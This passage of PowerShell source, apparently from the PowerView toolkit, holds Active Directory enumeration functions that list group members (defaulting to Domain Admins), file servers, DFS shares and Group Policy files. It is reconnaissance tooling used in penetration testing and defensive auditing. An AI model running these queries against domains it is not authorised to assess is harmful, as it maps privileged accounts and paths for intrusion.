[CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $GroupName = '*', - - [String] - $SID, - - [String] - $UserName, - - [String] - $Filter, - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [Switch] - $AdminCount, - - [Switch] - $FullData, - - [Switch] - $RawSids, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } - - process { - if($GroupSearcher) { - - if($AdminCount) { - Write-Verbose "Checking for adminCount=1" - $Filter += "(admincount=1)" - } - - if ($UserName) { - # get the raw user object - $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1 - - if($User) { - # convert the user to a directory entry - $UserDirectoryEntry = $User.GetDirectoryEntry() - - # cause the cache to calculate the token groups for the user - $UserDirectoryEntry.RefreshCache("tokenGroups") - - $UserDirectoryEntry.TokenGroups | ForEach-Object { - # convert the token group sid - $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value - - # ignore the built in groups - if($GroupSid -notmatch '^S-1-5-32-.*') { - if($FullData) { - $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential - $Group.PSObject.TypeNames.Add('PowerView.Group') - $Group - } - else { - if($RawSids) { - $GroupSid - } - else { - Convert-SidToName -SID $GroupSid - } - } - } - } - } - else { - Write-Warning "UserName '$UserName' failed to resolve." - } - } - else { - if ($SID) { - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" - } - else { - $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" - } - - $Results = $GroupSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # if we're returning full data objects - if ($FullData) { - # convert/process the LDAP fields for each result - $Group = Convert-LDAPProperty -Properties $_.Properties - $Group.PSObject.TypeNames.Add('PowerView.Group') - $Group - } - else { - # otherwise we're just returning the group name - $_.properties.samaccountname - } - } - $Results.dispose() - $GroupSearcher.dispose() - } - } - } -} - - -function Get-NetGroupMember { -<# - .SYNOPSIS - - This function users [ADSI] and LDAP to query the current AD context - or trusted domain for users in a specified group. If no GroupName is - specified, it defaults to querying the "Domain Admins" group. - This is a replacement for "net group 'name' /domain" - - .PARAMETER GroupName - - The group name to query for users. - - .PARAMETER SID - - The Group SID to query for users. If not given, it defaults to 512 "Domain Admins" - - .PARAMETER Filter - - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER Domain - - The domain to query for group users, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ADSpath - - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER FullData - - Switch. Returns full data objects instead of just group/users. - - .PARAMETER Recurse - - Switch. If the group member is a group, recursively try to query its members as well. - - .PARAMETER UseMatchingRule - - Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified. - Much faster than manual recursion, but doesn't reveal cross-domain groups. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-NetGroupMember - - Returns the usernames that of members of the "Domain Admins" domain group. - - .EXAMPLE - - PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users" - - Returns the usernames that of members of the "Power Users" group in the 'testing' domain. - - .LINK - - http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $GroupName, - - [String] - $SID, - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [Switch] - $FullData, - - [Switch] - $Recurse, - - [Switch] - $UseMatchingRule, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { - if($DomainController) { - $TargetDomainController = $DomainController - } - else { - $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name - } - - if($Domain) { - $TargetDomain = $Domain - } - else { - $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name - } - - # so this isn't repeated if users are passed on the pipeline - $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } - - process { - if ($GroupSearcher) { - if ($Recurse -and $UseMatchingRule) { - # resolve the group to a distinguishedname - if ($GroupName) { - $Group = Get-NetGroup -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - elseif ($SID) { - $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - else { - # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" - $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - $GroupDN = $Group.distinguishedname - $GroupFoundName = $Group.name - - if ($GroupDN) { - $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" - $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath')) - - $Members = $GroupSearcher.FindAll() - $GroupFoundName = $GroupName - } - else { - Write-Error "Unable to find Group" - } - } - else { - if ($GroupName) { - $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" - } - elseif ($SID) { - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" - } - else { - # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" - } - - $Members = @() - $GroupSearcher.PropertiesToLoad.Clear() - $Result = $False - try { - $Result = $GroupSearcher.FindOne() - } - catch { - Write-Verbose "Error retrieving group searcher results: $_" - } - - $GroupFoundName = '' - - if ($Result -and $Result.properties) { - try { - $Members = $Result.properties.item("member") - } - catch { - Write-Verbose "Error retrieving members property." - } - - if($Members.count -eq 0) { - - $Finished = $False - $Bottom = 0 - $Top = 0 - - while(!$Finished) { - $Top = $Bottom + 1499 - $MemberRange="member;range=$Bottom-$Top" - $Bottom += 1500 - - $GroupSearcher.PropertiesToLoad.Clear() - [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") - [void]$GroupSearcher.PropertiesToLoad.Add("name") - try { - $Result = $GroupSearcher.FindOne() - $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" - $Members += $Result.Properties.item($RangedProperty) - $GroupFoundName = $Result.properties.item("name")[0] - - if ($Members.count -eq 0) { - $Finished = $True - } - } - catch [System.Management.Automation.MethodInvocationException] { - $Finished = $True - } - } - } - else { - $GroupFoundName = $Result.properties.item("name")[0] - $Members += $Result.Properties.item($RangedProperty) - } - } - $GroupSearcher.dispose() - } - - $Members | Where-Object {$_} | ForEach-Object { - # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion - if ($Recurse -and $UseMatchingRule) { - $Properties = $_.Properties - } - else { - if($TargetDomainController) { - $Result = [adsi]"LDAP://$TargetDomainController/$_" - } - else { - $Result = [adsi]"LDAP://$_" - } - if($Result){ - $Properties = $Result.Properties - } - } - - if($Properties) { - - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype - - if ($FullData) { - $GroupMember = Convert-LDAPProperty -Properties $Properties - } - else { - $GroupMember = New-Object PSObject - } - - $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain - $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName - - if($Properties.objectSid) { - $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) - } - else { - $MemberSID = $Null - } - - try { - $MemberDN = $Properties.distinguishedname[0] - - if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) { - try { - if(-not $MemberSID) { - $MemberSID = $Properties.cn[0] - } - $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - } - else { - Write-Warning "Error converting $MemberDN" - $MemberDomain = $Null - } - } - catch { - Write-Warning "Error converting $MemberDN" - $MemberDomain = $Null - } - } - else { - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - } - } - catch { - $MemberDN = $Null - $MemberDomain = $Null - } - - if ($Properties.samaccountname) { - # forest users have the samAccountName set - $MemberName = $Properties.samaccountname[0] - } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $Properties.cn[0] - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $Properties.cn - } - } - - $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain - $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName - $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID - $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup - $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN - $GroupMember | Add-Member Noteproperty 'ObjectClass' $Properties.objectclass -Force - $GroupMember | Add-Member Noteproperty 'DNSHostName' $Properties.dnshostname -Force - $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember') - $GroupMember - - # if we're doing manual recursion - if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { - if($FullData) { - Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize - } - else { - Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize - } - } - } - } - } - } -} - - -function Get-NetFileServer { -<# - .SYNOPSIS - - Returns a list of all file servers extracted from user - homedirectory, scriptpath, and profilepath fields. - - .PARAMETER Domain - - The domain to query for user file servers, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER TargetUsers - - An array of users to query for file servers. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-NetFileServer - - Returns active file servers. - - .EXAMPLE - - PS C:\> Get-NetFileServer -Domain testing - - Returns active file servers for the 'testing' domain. -#> - - [CmdletBinding()] - param( - [String] - $Domain, - - [String] - $DomainController, - - [String[]] - $TargetUsers, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - function SplitPath { - # short internal helper to split UNC server paths - param([String]$Path) - - if ($Path -and ($Path.split("\\").Count -ge 3)) { - $Temp = $Path.split("\\")[2] - if($Temp -and ($Temp -ne '')) { - $Temp - } - } - } - - Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object { - # filter for any target users - if($TargetUsers) { - $TargetUsers -Match $_.samAccountName - } - else { $True } - } | ForEach-Object { - # split out every potential file server path - if($_.homedirectory) { - SplitPath($_.homedirectory) - } - if($_.scriptpath) { - SplitPath($_.scriptpath) - } - if($_.profilepath) { - SplitPath($_.profilepath) - } - - } | Where-Object {$_} | Sort-Object -Unique -} - - -function Get-DFSshare { -<# - .SYNOPSIS - - Returns a list of all fault-tolerant distributed file - systems for a given domain. - - .PARAMETER Version - - The version of DFS to query for servers. - 1/v1, 2/v2, or all - - .PARAMETER Domain - - The domain to query for user DFS shares, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ADSpath - - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-DFSshare - - Returns all distributed file system shares for the current domain. - - .EXAMPLE - - PS C:\> Get-DFSshare -Domain test - - Returns all distributed file system shares for the 'test' domain. -#> - - [CmdletBinding()] - param( - [String] - [ValidateSet("All","V1","1","V2","2")] - $Version = "All", - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - function Parse-Pkt { - [CmdletBinding()] - param( - [byte[]] - $Pkt - ) - - $bin = $Pkt - $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) - $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) - $offset = 8 - #https://msdn.microsoft.com/en-us/library/cc227147.aspx - $object_list = @() - for($i=1; $i -le $blob_element_count; $i++){ - $blob_name_size_start = $offset - $blob_name_size_end = $offset + 1 - $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) - - $blob_name_start = $blob_name_size_end + 1 - $blob_name_end = $blob_name_start + $blob_name_size - 1 - $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) - - $blob_data_size_start = $blob_name_end + 1 - $blob_data_size_end = $blob_data_size_start + 3 - $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) - - $blob_data_start = $blob_data_size_end + 1 - $blob_data_end = $blob_data_start + $blob_data_size - 1 - $blob_data = $bin[$blob_data_start..$blob_data_end] - switch -wildcard ($blob_name) { - "\siteroot" { } - "\domainroot*" { - # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... - # DFSRootOrLinkIDBlob - $root_or_link_guid_start = 0 - $root_or_link_guid_end = 15 - $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] - $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str - $prefix_size_start = $root_or_link_guid_end + 1 - $prefix_size_end = $prefix_size_start + 1 - $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) - $prefix_start = $prefix_size_end + 1 - $prefix_end = $prefix_start + $prefix_size - 1 - $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) - - $short_prefix_size_start = $prefix_end + 1 - $short_prefix_size_end = $short_prefix_size_start + 1 - $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) - $short_prefix_start = $short_prefix_size_end + 1 - $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 - $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) - - $type_start = $short_prefix_end + 1 - $type_end = $type_start + 3 - $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) - - $state_start = $type_end + 1 - $state_end = $state_start + 3 - $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) - - $comment_size_start = $state_end + 1 - $comment_size_end = $comment_size_start + 1 - $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) - $comment_start = $comment_size_end + 1 - $comment_end = $comment_start + $comment_size - 1 - if ($comment_size -gt 0) { - $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) - } - $prefix_timestamp_start = $comment_end + 1 - $prefix_timestamp_end = $prefix_timestamp_start + 7 - # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME - $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime - $state_timestamp_start = $prefix_timestamp_end + 1 - $state_timestamp_end = $state_timestamp_start + 7 - $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] - $comment_timestamp_start = $state_timestamp_end + 1 - $comment_timestamp_end = $comment_timestamp_start + 7 - $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] - $version_start = $comment_timestamp_end + 1 - $version_end = $version_start + 3 - $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) - - # Parse rest of DFSNamespaceRootOrLinkBlob here - $dfs_targetlist_blob_size_start = $version_end + 1 - $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 - $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) - - $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 - $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 - $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] - $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 - $reserved_blob_size_end = $reserved_blob_size_start + 3 - $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) - - $reserved_blob_start = $reserved_blob_size_end + 1 - $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 - $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] - $referral_ttl_start = $reserved_blob_end + 1 - $referral_ttl_end = $referral_ttl_start + 3 - $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) - - #Parse DFSTargetListBlob - $target_count_start = 0 - $target_count_end = $target_count_start + 3 - $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) - $t_offset = $target_count_end + 1 - - for($j=1; $j -le $target_count; $j++){ - $target_entry_size_start = $t_offset - $target_entry_size_end = $target_entry_size_start + 3 - $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) - $target_time_stamp_start = $target_entry_size_end + 1 - $target_time_stamp_end = $target_time_stamp_start + 7 - # FILETIME again or special if priority rank and priority class 0 - $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] - $target_state_start = $target_time_stamp_end + 1 - $target_state_end = $target_state_start + 3 - $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) - - $target_type_start = $target_state_end + 1 - $target_type_end = $target_type_start + 3 - $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) - - $server_name_size_start = $target_type_end + 1 - $server_name_size_end = $server_name_size_start + 1 - $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) - - $server_name_start = $server_name_size_end + 1 - $server_name_end = $server_name_start + $server_name_size - 1 - $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) - - $share_name_size_start = $server_name_end + 1 - $share_name_size_end = $share_name_size_start + 1 - $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) - $share_name_start = $share_name_size_end + 1 - $share_name_end = $share_name_start + $share_name_size - 1 - $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) - - $target_list += "\\$server_name\$share_name" - $t_offset = $share_name_end + 1 - } - } - } - $offset = $blob_data_end + 1 - $dfs_pkt_properties = @{ - 'Name' = $blob_name - 'Prefix' = $prefix - 'TargetList' = $target_list - } - $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties - $prefix = $null - $blob_name = $null - $target_list = $null - } - - $servers = @() - $object_list | ForEach-Object { - if ($_.TargetList) { - $_.TargetList | ForEach-Object { - $servers += $_.split("\")[2] - } - } - } - - $servers - } - - function Get-DFSshareV1 { - [CmdletBinding()] - param( - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - - if($DFSsearcher) { - $DFSshares = @() - $DFSsearcher.filter = "(&(objectClass=fTDfs))" - - try { - $Results = $DFSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Properties = $_.Properties - $RemoteNames = $Properties.remoteservername - $Pkt = $Properties.pkt - - $DFSshares += $RemoteNames | ForEach-Object { - try { - if ( $_.Contains('\') ) { - New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]} - } - } - catch { - Write-Verbose "Error in parsing DFS share : $_" - } - } - } - $Results.dispose() - $DFSSearcher.dispose() - - if($pkt -and $pkt[0]) { - Parse-Pkt $pkt[0] | ForEach-Object { - # If a folder doesn't have a redirection it will - # have a target like - # \\null\TestNameSpace\folder\.DFSFolderLink so we - # do actually want to match on "null" rather than - # $null - if ($_ -ne "null") { - New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} - } - } - } - } - catch { - Write-Warning "Get-DFSshareV1 error : $_" - } - $DFSshares | Sort-Object -Property "RemoteServerName" - } - } - - function Get-DFSshareV2 { - [CmdletBinding()] - param( - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - - if($DFSsearcher) { - $DFSshares = @() - $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))" - $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) - - try { - $Results = $DFSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Properties = $_.Properties - $target_list = $Properties.'msdfs-targetlistv2'[0] - $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) - $DFSshares += $xml.targets.ChildNodes | ForEach-Object { - try { - $Target = $_.InnerText - if ( $Target.Contains('\') ) { - $DFSroot = $Target.split("\")[3] - $ShareName = $Properties.'msdfs-linkpathv2'[0] - New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]} - } - } - catch { - Write-Verbose "Error in parsing target : $_" - } - } - } - $Results.dispose() - $DFSSearcher.dispose() - } - catch { - Write-Warning "Get-DFSshareV2 error : $_" - } - $DFSshares | Sort-Object -Unique -Property "RemoteServerName" - } - } - - $DFSshares = @() - - if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { - $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } - if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { - $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } - - $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique -} - - -######################################################## -# -# GPO related functions. -# -######################################################## - -function Get-GptTmpl { -<# - .SYNOPSIS - - Helper to parse a GptTmpl.inf policy file path into a custom object. - - .PARAMETER GptTmplPath - - The GptTmpl.inf file path name to parse. - - .PARAMETER UsePSDrive - - Switch. Mount the target GptTmpl folder path as a temporary PSDrive. - - .EXAMPLE - - PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - - Parse the default domain policy .inf for dev.testlab.local -#> - - [CmdletBinding()] - Param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [String] - $GptTmplPath, - - [Switch] - $UsePSDrive - ) - - begin { - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GptTmplPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" - - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Verbose "Error mounting path $GptTmplPath : $_" - return $Null - } - - # so we can cd/dir the new drive - $TargetGptTmplPath = $RandDrive + ":\" + $FilePath - } - else { - $TargetGptTmplPath = $GptTmplPath - } - Write-Verbose "GptTmplPath: $GptTmplPath" - } - - process { - try { - Write-Verbose "Parsing $TargetGptTmplPath" - $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue - } - catch { - Write-Verbose "Error parsing $TargetGptTmplPath : $_" - } - } - - end { - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force - } - } -} - - -function Get-GroupsXML { -<# - .SYNOPSIS - - Helper to parse a groups.xml file path into a custom object. - - .PARAMETER GroupsXMLpath - - The groups.xml file path name to parse. - - .PARAMETER UsePSDrive - - Switch. Mount the target groups.xml folder path as a temporary PSDrive. -#> - - [CmdletBinding()] - Param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [String] - $GroupsXMLPath, - - [Switch] - $UsePSDrive - ) - - begin { - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GroupsXMLPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" - - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Verbose "Error mounting path $GroupsXMLPath : $_" - return $Null - } - - # so we can cd/dir the new drive - $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath - } - else { - $TargetGroupsXMLPath = $GroupsXMLPath - } - } - - process { - - try { - [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop - - # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { - - $Groupname = $_.Group.Properties.groupName - - # extract the localgroup sid for memberof - $GroupSID = $_.Group.Properties.GroupSid - if(-not $LocalSid) { - if($Groupname -match 'Administrators') { - $GroupSID = 'S-1-5-32-544' - } - elseif($Groupname -match 'Remote Desktop') { - $GroupSID = 'S-1-5-32-555' - } - elseif($Groupname -match 'Guests') { - $GroupSID = 'S-1-5-32-546' - } - else { - $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID - } - } - - # extract out members added to this group - $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - if($_.sid) { $_.sid } - else { $_.name } - } - - if ($Members) { - - # extract out any/all filters...I hate you GPP - if($_.Group.filters) { - $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { - New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} - } - } - else { - $Filters = $Null - } - - if($Members -isnot [System.Array]) { $Members = @($Members) } - - $GPOGroup = New-Object PSObject - $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath - $GPOGroup | Add-Member Noteproperty 'Filters' $Filters - $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName - $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID - $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null - $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members - $GPOGroup - } - } - } - catch { - Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" - } - } - - end { - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force - } - } -} - - -function Get-NetGPO { -<# - .SYNOPSIS - - Gets a list of all current GPOs in a domain. - - .PARAMETER GPOname - - The GPO name to query for, wildcards accepted. - - .PARAMETER DisplayName - - The GPO display name to query for, wildcards accepted. - - .PARAMETER ComputerName - - Return all GPO objects applied to a given computer (FQDN). - - .PARAMETER Domain - - The domain to query for GPOs, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ADSpath - - The LDAP source to search through - e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of 